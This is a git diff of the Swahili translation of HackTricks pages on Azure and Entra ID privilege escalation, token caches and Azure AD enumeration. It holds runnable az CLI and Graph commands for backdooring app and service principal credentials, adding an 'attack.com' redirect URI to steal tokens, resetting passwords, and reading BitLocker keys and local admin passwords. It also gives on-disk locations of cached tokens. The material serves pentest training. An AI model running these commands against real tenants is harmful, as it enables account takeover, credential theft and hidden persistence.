ya HTTP requests - Load it: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)` -- **`AzureRmContext.json`** contains information about previous logins using Az PowerShell (but no credentials) -- Inside **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** are several `.bin` files with **token za ufikiaji (access tokens)**, **token za ID (ID tokens)** and account information encrypted with the users DPAPI. -- It’s possible to find more **token za ufikiaji (access tokens)** in the `.tbres` files inside **`C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\`** which contain a base64 encrypted with DPAPI with access tokens. -- In Linux and macOS you can get **token za ufikiaji (access tokens), token za upya (refresh tokens) and token za kitambulisho (id tokens)** from Az PowerShell (if used) running `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` -- In Windows this just generates id tokens. -- Possible to see if Az PowerShell was used in Linux and macSO checking is `$HOME/.local/share/.IdentityService/` exists (although the contained files are empty and useless) -- If the user is **logged inside Azure with the browser**, according to this [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) it's possible to start the authentication flow with a **redirect to localhost**, make the browser automatically authorize the login, and receive the refresh token. Note that there are only a few FOCI applications that allow redirect to localhost (like az cli or the powershell module), so these applications must be allowed. -- Another option explained in the blog is to use the tool [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) which can use any application because it'll **get the OAuth code to then get a refresh token from the title of the final auth** page using the redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`. +- **`AzureRmContext.json`** ina taarifa kuhusu logins za awali zilizofanywa kwa kutumia Az PowerShell (lakini hakuna credentials) +- Ndani ya **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** kuna faili kadhaa `.bin` zenye **access tokens**, ID tokens na taarifa za akaunti zilizosimbwa kwa DPAPI ya mtumiaji. +- Inawezekana kupata zaidi **access tokens** kwenye faili `.tbres` ndani ya **`C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\`** ambazo zina base64 iliyosimbwa kwa DPAPI yenye access tokens. +- Katika Linux na macOS unaweza kupata **access tokens, refresh tokens na id tokens** kutoka Az PowerShell (ikiwa imetumika) kwa kukimbia `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` +- Kwenye Windows hii huunda tu id tokens. +- Inawezekana kuona kama Az PowerShell ilitumika katika Linux na macOS kwa kuangalia kama `$HOME/.local/share/.IdentityService/` inapatikana (ingawa faili zilizo ndani ni tupu na hazina maana) +- Ikiwa mtumiaji ameingia ndani ya Azure kupitia browser, kulingana na hii [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) inawezekana kuanzisha mchakato wa uthibitisho kwa **redirect to localhost**, kufanya browser iidhinishe kuingia kiotomatiki, na kupokea refresh token. Kumbuka kuwa kuna programu chache za FOCI zinazoruhusu redirect kwenda localhost (kama az cli au powershell module), hivyo programu hizi lazima ziweze kuruhusiwa. +- Chaguo jingine kama ilivyoelezwa kwenye blog ni kutumia zana [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) ambayo inaweza kutumia programu yoyote kwa sababu itapata OAuth code kisha kupata refresh token kutoka kwenye title ya ukurasa wa mwisho wa uthibitisho kwa kutumia redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`. ## Marejeo - [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research) - [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md) +- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/) +- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 1751273bb..171165f5b 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,15 +3,15 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> Kumbuka kwamba **sio ruhusa zote za granular** ambazo majukumu ya ndani yana katika Entra ID **zinastahili kutumika katika majukumu ya kawaida.** +> Kumbuka kwamba **si ruhusa zote za kina** ambazo built-in roles zina katika Entra ID **zinaruhusiwa kutumika katika custom roles.** ## Majukumu -### Jukumu: Msimamizi wa Jukumu la Kipekee +### Role: Privileged Role Administrator -Jukumu hili lina ruhusa za granular zinazohitajika ili kuweza kupeana majukumu kwa wahusika na kutoa ruhusa zaidi kwa majukumu. Vitendo vyote viwili vinaweza kutumika vibaya ili kupandisha hadhi. +Jukumu hili lina ruhusa muhimu za kina zinazomruhusu mtu kuteua roles kwa principals na kumpa roles ruhusa zaidi. Vitendo vyote viwili vinaweza kutumiwa vibaya kuongeza ruhusa. -- Peana jukumu kwa mtumiaji: +- Kuteua role kwa mtumiaji: ```bash # List enabled built-in roles az rest --method GET \ @@ -27,7 +27,7 @@ az rest --method POST \ \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" }" ``` -- Ongeza ruhusa zaidi kwa jukumu: +- Ongeza ruhusa zaidi kwa role: ```bash # List only custom roles az rest --method GET \ @@ -52,7 +52,7 @@ az rest --method PATCH \ ### `microsoft.directory/applications/credentials/update` -Hii inaruhusu mshambuliaji **kuongeza akiba** (nenosiri au vyeti) kwa maombi yaliyopo. Ikiwa ombi lina ruhusa za kipaumbele, mshambuliaji anaweza kuthibitisha kama ombi hilo na kupata ruhusa hizo. +Hii inamruhusu attacker **kuongeza credentials** (nywila au vyeti) kwa maombi yaliyopo. Ikiwa maombi yana ruhusa za juu, attacker anaweza kujitambulisha kama maombi hayo na kupata mamlaka hizo. ```bash # Generate a new password without overwritting old ones az ad app credential reset --id --append @@ -61,13 +61,13 @@ az ad app credential reset --id --create-cert ``` ### `microsoft.directory/applications.myOrganization/credentials/update` -Hii inaruhusu vitendo sawa na `applications/credentials/update`, lakini imepangwa kwa programu za mkurugenzi mmoja. +Hii inaruhusu vitendo sawa na `applications/credentials/update`, lakini inatumika kwa maombi ya directory moja. ```bash az ad app credential reset --id --append ``` ### `microsoft.directory/applications/owners/update` -Kwa kujiongeza kama mmiliki, mshambuliaji anaweza kubadilisha programu, ikiwa ni pamoja na akiba na ruhusa. +Kwa kujiwekea kama mmiliki, mshambuliaji anaweza kudhibiti programu hiyo, ikiwa ni pamoja na nyaraka za uthibitisho na ruhusa. ```bash az ad app owner add --id --owner-object-id az ad app credential reset --id --append @@ -77,40 +77,153 @@ az ad app owner list --id ``` ### `microsoft.directory/applications/allProperties/update` -Mshambuliaji anaweza kuongeza URI ya kuelekeza kwa programu zinazotumiwa na watumiaji wa mpangilio na kisha kushiriki nao URL za kuingia zinazotumia URL mpya ya kuelekeza ili kuiba token zao. Kumbuka kwamba ikiwa mtumiaji tayari alikuwa amejiunga na programu, uthibitishaji utaenda kiotomatiki bila mtumiaji kuhitaji kukubali chochote. +Mshambuliaji anaweza kuongeza redirect URI kwa applications zinazotumika na watumiaji wa tenant, kisha kuwashirikisha login URLs zinazotumia redirect URL mpya ili kuiba tokens zao. Kumbuka kwamba ikiwa mtumiaji alikuwa tayari ameingia kwenye application, authentication itatokea moja kwa moja bila mtumiaji kuhitaji kukubali chochote. -Kumbuka kwamba pia inawezekana kubadilisha ruhusa ambazo programu inahitaji ili kupata ruhusa zaidi, lakini katika kesi hii mtumiaji atahitaji kukubali tena ombi linaloomba ruhusa zote. +Vilevile, inawezekana kubadilisha permissions ambazo application inaomba ili kupata permissions zaidi, lakini katika kesi hiyo mtumiaji atalazimika kukubali tena prompt inayomuomba permissions zote. ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" # Add a new redirect URI (make sure to keep the configured ones) az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` +### Kupandisha Vibali vya Applications + +**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** ilikuwa kawaida sana kupata applications za default ambazo zina **API permissions** za aina ya **`Application`** zilizohusishwa nazo. API Permission (kama inavyoitwa katika Entra ID console) ya aina ya **`Application`** inamaanisha kwamba application inaweza kufikia API na kufanya vitendo bila muktadha wa mtumiaji (bila mtumiaji kuingia kwenye app), na bila kuhitaji Entra ID roles kuiruhusu. Kwa hivyo, ni kawaida sana kupata **high privileged applications katika kila Entra ID tenant**. + +Kisha, ikiwa muvunjaji atakuwa na idhini/role yoyote inayomruhusu **kusasisha credentials (secret au certificate) za application**, muvunjaji anaweza kutengeneza credential mpya kisha kuitumia **kuji-authenticate kama application**, kupata vibali vyote ambavyo application ina. + +Tambua kwamba blog iliyotajwa inashiriki baadhi ya **API permissions** za applications za default za Microsoft; hata hivyo, muda mfupi baada ya ripoti hii Microsoft ilirekebisha tatizo hili na sasa haiwezekani kuingia kama Microsoft applications tena. Hata hivyo, bado inawezekana kupata **maombi maalum zenye vibali vya juu ambazo zinaweza kutumika vibaya**. + +How to enumerate the API permissions of an application: +```bash +# Get "API Permissions" of an App +## Get the ResourceAppId +az ad app show --id "" --query "requiredResourceAccess" --output json +## e.g. +[ +{ +"resourceAccess": [ +{ +"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d", +"type": "Scope" +}, +{ +"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa", +"type": "Role" +} +], +"resourceAppId": "00000003-0000-0000-c000-000000000000" +} +] + +## For the perms of type "Scope" +az ad sp show --id --query "oauth2PermissionScopes[?id==''].value" -o tsv +az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv + +## For the perms of type "Role" +az ad sp show --id --query "appRoles[?id==''].value" -o tsv +az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv +``` +
+Pata programu zote zenye ruhusa za API kwa API zisizo za Microsoft (az cli) +```bash +#!/usr/bin/env bash +set -euo pipefail + +# Known Microsoft first-party owner organization IDs. +MICROSOFT_OWNER_ORG_IDS=( +"f8cdef31-a31e-4b4a-93e4-5f571e91255a" +"72f988bf-86f1-41af-91ab-2d7cd011db47" +) + +is_microsoft_owner() { +local owner="$1" +local id +for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do +if [ "$owner" = "$id" ]; then +return 0 +fi +done +return 1 +} + +command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; } +command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; } +az account show >/dev/null + +apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)" + +tmp_map="$(mktemp)" +tmp_ids="$(mktemp)" +trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT + +# Build unique resourceAppId values used by applications. +jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids" + +# Resolve resourceAppId -> owner organization + API display name. +while IFS= read -r rid; do +[ -n "$rid" ] || continue +sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)" +owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")" +name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")" +printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map" +done < "$tmp_ids" + +echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId" + +# Print only app permissions where the target API is NOT Microsoft-owned. +while IFS= read -r row; do +app_name="$(jq -r '.[0]' <<<"$row")" +app_id="$(jq -r '.[1]' <<<"$row")" + +while IFS= read -r rra; do +resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")" +map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")" +owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")" +resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")" + +[ -n "$owner_org" ] || owner_org="UNKNOWN" +[ -n "$resource_name" ] || resource_name="UNKNOWN" + +if is_microsoft_owner "$owner_org"; then +continue +fi + +while IFS= read -r access; do +perm_type="$(jq -r '.type' <<<"$access")" +perm_id="$(jq -r '.id' <<<"$access")" +echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}" +done < <(jq -c '.resourceAccess[]' <<<"$rra") +done < <(jq -c '.[2][]' <<<"$row") +done < <(jq -c '.[]' <<<"$apps_json") +``` +
+ ## Service Principals ### `microsoft.directory/servicePrincipals/credentials/update` -Hii inaruhusu mshambuliaji kuongeza akidi kwa huduma zilizopo za huduma. Ikiwa huduma ya huduma ina mamlaka ya juu, mshambuliaji anaweza kuchukua mamlaka hayo. +Hii inamruhusu mshambuliaji kuongeza credentials kwa service principals zilizopo. Ikiwa service principal ina ruhusa za juu, mshambuliaji anaweza kuchukua ruhusa hizo. ```bash az ad sp credential reset --id --append ``` > [!CAUTION] -> Nywila mpya iliyoundwa haitonekana kwenye console ya wavuti, hivyo hii inaweza kuwa njia ya siri ya kudumisha uthibitisho juu ya huduma ya msingi.\ -> Kutoka kwenye API zinaweza kupatikana kwa: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` +> Nenosiri jipya lililotengenezwa halitaonekana kwenye web console, hivyo hii inaweza kuwa njia ya siri ya kudumisha persistence kwa service principal.\ +> Kutoka kwa API zinaweza kupatikana kwa: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -Ikiwa unapata kosa `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` ni kwa sababu **haiwezekani kubadilisha mali ya passwordCredentials** ya SP na kwanza unahitaji kuifungua. Ili kufanya hivyo unahitaji ruhusa (`microsoft.directory/applications/allProperties/update`) inayokuruhusu kutekeleza: +Ukipata hitilafu `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` ni kwa sababu **haiwezekani kubadilisha property passwordCredentials** ya SP na kwanza unahitaji kuifungua. Kwa hilo unahitaji ruhusa (`microsoft.directory/applications/allProperties/update`) inayokuwezesha kutekeleza: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage` -Hii inaruhusu mshambuliaji kuongeza akidi kwa huduma zilizopo. Ikiwa huduma hiyo ina mamlaka ya juu, mshambuliaji anaweza kuchukua mamlaka hayo. +Hii inaruhusu mshambuliaji kuongeza credentials kwa service principals zilizopo. Ikiwa service principal ina elevated privileges, mshambuliaji anaweza kuchukua zile privileges. ```bash az ad sp credential reset --id --append ``` ### `microsoft.directory/servicePrincipals/owners/update` -Kama ilivyo kwa programu, ruhusa hii inaruhusu kuongeza wamiliki zaidi kwa huduma ya msingi. Kumiliki huduma ya msingi kunaruhusu kudhibiti akidi zake na ruhusa. +Vivyo kwa applications, ruhusa hii inaruhusu kuongeza wamiliki zaidi kwa service principal. Kumiliki service principal kunaruhusu kudhibiti nyaraka zake za uthibitisho na ruhusa. ```bash # Add new owner spId="" @@ -128,13 +241,13 @@ az ad sp credential reset --id --append az ad sp owner list --id ``` > [!CAUTION] -> Baada ya kuongeza mmiliki mpya, nilijaribu kuondoa lakini API ilijibu kwamba njia ya DELETE haikupatikana, hata kama ndiyo njia unahitaji kutumia kuondoa mmiliki. Hivyo huwezi kuondoa wamiliki siku hizi. +> Baada ya kuongeza mmiliki mpya, nilijaribu kumfuta lakini API ilijibu kuwa njia ya DELETE haikuungwa mkono, hata kama ndiyo njia unayohitaji kutumia kumfuta mmiliki. Kwa hivyo **huwezi kuondoa wamiliki siku hizi**. ### `microsoft.directory/servicePrincipals/disable` and `enable` -Hizi ruhusa zinaruhusu kuzima na kuwezesha wahusika wa huduma. Mshambuliaji anaweza kutumia ruhusa hii kuwezesha mhusika wa huduma ambaye anaweza kupata ufikiaji wa namna fulani ili kupandisha hadhi. +Ruhusa hizi zinawezesha kuzima na kuamisha service principals. Mshambuliaji anaweza kutumia ruhusa hii kuamisha service principal ambayo angeweza kupata kwa njia fulani ili kupandisha vibali. -Kumbuka kwamba kwa ajili ya mbinu hii mshambuliaji atahitaji ruhusa zaidi ili kuchukua udhibiti wa mhusika wa huduma aliyewezeshwa. +Kumbuka kwamba kwa mbinu hii mshambuliaji atahitaji ruhusa zaidi ili kuchukua udhibiti wa service principal iliyowezeshwa. ```bash # Disable az ad sp update --id --account-enabled false @@ -144,7 +257,7 @@ az ad sp update --id --account-enabled true ``` #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -Hizi ruhusa zinaruhusu kuunda na kupata akreditif za kuingia mara moja ambazo zinaweza kuruhusu ufikiaji wa programu za upande wa tatu. +Ruhusa hizi zinaruhusu kuunda na kupata credentials za single sign-on, ambazo zinaweza kuruhusu ufikiaji wa third-party applications. ```bash # Generate SSO creds for a user or a group spID="" @@ -164,44 +277,36 @@ az rest --method POST \ --headers "Content-Type=application/json" \ --body "{\"id\": \"$credID\"}" ``` -### Applications Privilege Escalation - -**Kama ilivyoelezwa katika [hiki kipande](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** ilikuwa ni kawaida sana kupata programu za default ambazo zina **API permissions** za aina **`Application`** zilizotolewa kwao. API Permission (kama inavyoitwa katika Entra ID console) ya aina **`Application`** inamaanisha kwamba programu inaweza kufikia API bila muktadha wa mtumiaji (bila mtumiaji kuingia kwenye programu), na bila kuhitaji majukumu ya Entra ID ili kuiruhusu. Hivyo, ni kawaida sana kupata **programu zenye mamlaka ya juu katika kila Entra ID tenant**. - -Basi, ikiwa mshambuliaji ana ruhusa/majukumu yoyote yanayoruhusu **kusasisha akidi (siri au cheti) cha programu**, mshambuliaji anaweza kuunda akidi mpya na kisha kuitumia **kujiandikisha kama programu**, akipata ruhusa zote ambazo programu ina. - -Kumbuka kwamba blogu iliyoelezwa inashiriki baadhi ya **API permissions** za programu za kawaida za Microsoft, hata hivyo muda mfupi baada ya ripoti hii Microsoft ilirekebisha tatizo hili na sasa haiwezekani kuingia kama programu za Microsoft tena. Hata hivyo, bado inawezekana kupata **programu za kawaida zenye mamlaka ya juu ambazo zinaweza kutumika vibaya**. - --- -## Groups +## Vikundi ### `microsoft.directory/groups/allProperties/update` -Ruhusa hii inaruhusu kuongeza watumiaji kwenye vikundi vyenye mamlaka, ikisababisha kupanda kwa mamlaka. +Ruhusa hii inaruhusu kuongeza watumiaji kwenye privileged groups, na kusababisha privilege escalation. ```bash az ad group member add --group --member-id ``` -**Kumbuka**: Ruhusa hii inatenga vikundi vya Entra ID vinavyoweza kupewa majukumu. +**Note**: Ruhusa hii haijumuishi Entra ID role-assignable groups. ### `microsoft.directory/groups/owners/update` -Ruhusa hii inaruhusu kuwa mmiliki wa vikundi. Mmiliki wa kundi anaweza kudhibiti uanachama wa kundi na mipangilio, na hivyo kuongeza mamlaka kwa kundi. +Ruhusa hii inaruhusu mtu kuwa mmiliki wa makundi. Mmiliki wa kundi anaweza kudhibiti uanachama wa kundi na mipangilio, na hivyo inawezekana kuongeza vibali kwa kundi. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` -**Kumbuka**: Ruhusa hii inatenga vikundi vya Entra ID vinavyoweza kupewa majukumu. +**Kumbuka**: Ruhusa hii haijumuishi Entra ID role-assignable groups. ### `microsoft.directory/groups/members/update` -Ruhusa hii inaruhusu kuongeza wanachama kwenye kundi. Mshambuliaji anaweza kujiongeza mwenyewe au akaunti mbaya kwenye vikundi vyenye mamlaka ambayo yanaweza kutoa ufikiaji wa juu. +Ruhusa hii inaruhusu kuongeza wanachama kwenye kundi. Mshambuliaji anaweza kujiongeza mwenyewe au kuongeza akaunti zenye madhara kwenye vikundi vyenye ruhusa za juu, jambo ambalo linaweza kumpa upatikanaji wa juu. ```bash az ad group member add --group --member-id ``` ### `microsoft.directory/groups/dynamicMembershipRule/update` -Ruhusa hii inaruhusu kuboresha sheria za uanachama katika kundi la dynamic. Mshambuliaji anaweza kubadilisha sheria za dynamic ili kujumuisha mwenyewe katika vikundi vya mamlaka bila kuongeza wazi. +Ruhusa hii inawezesha kusasisha kanuni ya uanachama katika kikundi cha dinamiki. Mshambuliaji anaweza kubadilisha kanuni za dinamiki ili kujijumuisha mwenyewe katika makundi yenye ruhusa bila kuongezwa kwa uwazi. ```bash groupId="" az rest --method PATCH \ @@ -212,11 +317,11 @@ az rest --method PATCH \ "membershipRuleProcessingState": "On" }' ``` -**Kumbuka**: Ruhusa hii inatenga vikundi vya Entra ID vinavyoweza kupewa majukumu. +**Kumbuka**: Ruhusa hii haijumuishi Entra ID role-assignable groups. -### Privesc za Vikundi vya Kijadi +### Dynamic Groups Privesc -Inaweza kuwa inawezekana kwa watumiaji kuongeza mamlaka kwa kubadilisha mali zao wenyewe ili kuongezwa kama wanachama wa vikundi vya kijadi. Kwa maelezo zaidi angalia: +Inawezekana kwa watumiaji kupandisha ruhusa kwa kubadilisha mali zao wenyewe ili kuongezwa kama wanachama wa dynamic groups. Kwa maelezo zaidi angalia: {{#ref}} dynamic-groups.md @@ -226,13 +331,13 @@ dynamic-groups.md ### `microsoft.directory/users/password/update` -Ruhusa hii inaruhusu kurekebisha nenosiri kwa watumiaji wasiokuwa wasimamizi, ikiruhusu mshambuliaji mwenye uwezo kuongeza mamlaka kwa watumiaji wengine. Ruhusa hii haiwezi kutolewa kwa majukumu maalum. +Ruhusa hii inaruhusu kuweka upya nywila kwa watumiaji wasio-admin, na inaweza kumruhusu mshambuliaji kupandisha ruhusa kwa watumiaji wengine. Ruhusa hii haiwezi kupewa custom roles. ```bash az ad user update --id --password "kweoifuh.234" ``` ### `microsoft.directory/users/basic/update` -Hii ruhusa inaruhusu kubadilisha mali za mtumiaji. Ni kawaida kupata vikundi vya dinamik ambayo vinaongeza watumiaji kulingana na thamani za mali, kwa hivyo, ruhusa hii inaweza kumruhusu mtumiaji kuweka thamani ya mali inayohitajika ili kuwa mwanachama wa kundi maalum la dinamik na kupandisha mamlaka. +Ruhusa hii inaruhusu kubadilisha sifa za mtumiaji. Ni kawaida kupata vikundi vya dynamic vinavyowahusisha watumiaji kulingana na thamani za sifa; kwa hivyo, ruhusa hii inaweza kumruhusu mtumiaji kuweka thamani ya sifa inayohitajika ili kuwa mwanachama wa kundi maalum la dynamic na kupandisha ruhusa. ```bash #e.g. change manager of a user victimUser="" @@ -248,9 +353,9 @@ az rest --method PATCH \ --headers "Content-Type=application/json" \ --body "{\"department\": \"security\"}" ``` -## Sera za Ufikiaji wa Masharti & Kuepuka MFA +## Conditional Access Policies & MFA bypass -Sera za ufikiaji wa masharti zilizowekwa vibaya zinazohitaji MFA zinaweza kuepukwa, angalia: +Conditional access policies zilizopangwa vibaya zinazohitaji MFA zinaweza kupitishwa (bypassed), angalia: {{#ref}} az-conditional-access-policies-mfa-bypass.md @@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md ### `microsoft.directory/devices/registeredOwners/update` -Ruhusa hii inawawezesha washambuliaji kujitenga kama wamiliki wa vifaa ili kupata udhibiti au ufikiaji wa mipangilio na data maalum za kifaa. +Ruhusa hii inawawezesha wadukuzi kujiteua kuwa wamiliki wa vifaa ili kupata udhibiti au kufikia mipangilio na data maalum za kifaa. ```bash deviceId="" userId="" @@ -271,7 +376,7 @@ az rest --method POST \ ``` ### `microsoft.directory/devices/registeredUsers/update` -Ruhusa hii inawawezesha washambuliaji kuunganisha akaunti zao na vifaa ili kupata ufikiaji au kupita sera za usalama. +Ruhusa hii inawawezesha washambulizi kuhusisha akaunti yao na vifaa ili kupata ufikiaji au kuvuka sera za usalama. ```bash deviceId="" userId="" @@ -282,7 +387,7 @@ az rest --method POST \ ``` ### `microsoft.directory/deviceLocalCredentials/password/read` -Ruhusa hii inawawezesha washambuliaji kusoma mali za akauti za usimamizi za ndani zilizohifadhiwa kwa vifaa vilivyounganishwa na Microsoft Entra, ikiwa ni pamoja na nenosiri. +Ruhusa hii inawawezesha washambuliaji kusoma sifa za credentials za akaunti ya msimamizi wa ndani zilizochelezwa kwa ajili ya Microsoft Entra joined devices, ikiwa ni pamoja na password ```bash # List deviceLocalCredentials az rest --method GET \ @@ -297,7 +402,7 @@ az rest --method GET \ ### `microsoft.directory/bitlockerKeys/key/read` -Ruhusa hii inaruhusu kufikia funguo za BitLocker, ambazo zinaweza kumruhusu mshambuliaji kufungua diski, na kuhatarisha usiri wa data. +Ruhusa hii inaruhusu kupata funguo za BitLocker, ambazo zinaweza kumruhusu mshambuliaji ku-decrypt diski na kuhatarisha usiri wa data. ```bash # List recovery keys az rest --method GET \ @@ -308,7 +413,7 @@ recoveryKeyId="" az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" ``` -## Mamlaka Mengine ya Kuvutia (TODO) +## Ruhusa Nyingine Zinazovutia (TODO) - `microsoft.directory/applications/permissions/update` - `microsoft.directory/servicePrincipals/permissions/update` diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index 08bc7435d..908989038 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -4,9 +4,9 @@ ## Taarifa za Msingi -Azure Active Directory (Azure AD) inahudumu kama huduma ya Microsoft inayotegemea wingu kwa usimamizi wa utambulisho na upatikanaji. Inasaidia wafanyakazi kuingia na kupata rasilimali, ndani na nje ya shirika, ikijumuisha Microsoft 365, Azure portal, na idadi kubwa ya matumizi mengine ya SaaS. Ubunifu wa Azure AD unaweka mkazo katika kutoa huduma muhimu za utambulisho, hasa zikiwemo **uthibitishaji, idhini, na usimamizi wa watumiaji**. +Azure Active Directory (Azure AD) ni huduma ya wingu ya Microsoft kwa ajili ya usimamizi wa utambulisho na upatikanaji. Inasaidia wafanyakazi kujisajili na kupata rasilimali ndani na nje ya shirika, ikiwa ni pamoja na Microsoft 365, Azure portal, na idadi kubwa ya programu nyingine za SaaS. Muundo wa Azure AD unalenga kutoa huduma muhimu za utambulisho, ikijumuisha kwa umuhimu mkubwa **uthibitishaji, idhini, na usimamizi wa watumiaji**. -Vipengele muhimu vya Azure AD vinajumuisha **uthibitishaji wa hatua nyingi** na **ufikiaji wa masharti**, pamoja na uunganishaji usio na mshono na huduma nyingine za usalama za Microsoft. Vipengele hivi vinaboresha kwa kiasi kikubwa usalama wa utambulisho wa watumiaji na kuziwezesha taasisi kutekeleza na kuimarisha sera zao za upatikanaji kwa ufanisi. Kama sehemu ya msingi ya mfumo wa huduma za wingu za Microsoft, Azure AD ni muhimu kwa usimamizi wa utambulisho wa watumiaji unaofanywa kwenye wingu. +Vipengele muhimu vya Azure AD vinajumuisha **uthibitishaji wa vipengele vingi** na **upatikanaji wa masharti**, pamoja na muingiliano usio na mshono na huduma nyingine za usalama za Microsoft. Vipengele hivi huinua kwa kiasi kikubwa usalama wa vitambulisho vya watumiaji na kuwawezesha mashirika kutekeleza na kupitisha sera zao za upatikanaji kwa ufanisi. Kama sehemu msingi ya ekosistimu ya huduma za wingu za Microsoft, Azure AD ni muhimu kwa usimamizi wa vitambulisho vya watumiaji vinavyofanywa kwenye wingu. ## Uorodheshaji @@ -185,11 +185,15 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -Unapofanya **login** kupitia **CLI** kwenye Azure kwa programu yoyote, unatumia **Azure Application** kutoka kwa **tenant** inayomilikiwa na **Microsoft**. Applications hizi, kama zile unazoweza kuunda kwenye akaunti yako, **zina client id**. **Hutaweza kuona zote** katika **orodha za programu zilizoruhusiwa** unazoweza kuona kwenye console, **lakini zinaruhusiwa kwa chaguo-msingi**. +Unapo **login** kupitia **CLI** kwenye Azure kwa programu yoyote, unatumia **Azure Application** kutoka kwa **tenant** inayomilikiwa na **Microsoft**. -Kwa mfano **powershell script** ambayo **inathibitisha** inatumia app yenye client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Hata kama app haionekani kwenye console, sysadmin anaweza **kuzuia application hiyo** ili watumiaji wasiweze kufikia kwa kutumia zana zinazounganisha kupitia App hiyo. +Applications hizi, kama zile unazoweza kuunda kwenye akaunti yako, **zina client id**. -Walakini, kuna **client-ids nyingine** za applications ambazo **zitakuruhusu kuungana na Azure**: +**Hutaweza kuona zote** katika **allowed applications lists** unazoweza kuona kwenye **console**, **lakini zinaruhusiwa kwa default**. + +Kwa mfano, **powershell script** inayofanya **authenticates** inatumia app yenye client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Hata kama app haitokei kwenye console, sysadmin anaweza **block that application** ili users wasiweze kuingia kwa kutumia tools zinazounganisha kupitia App. + +Hata hivyo, kuna **other client-ids** za applications ambazo **zitakuruhusu kuungana na 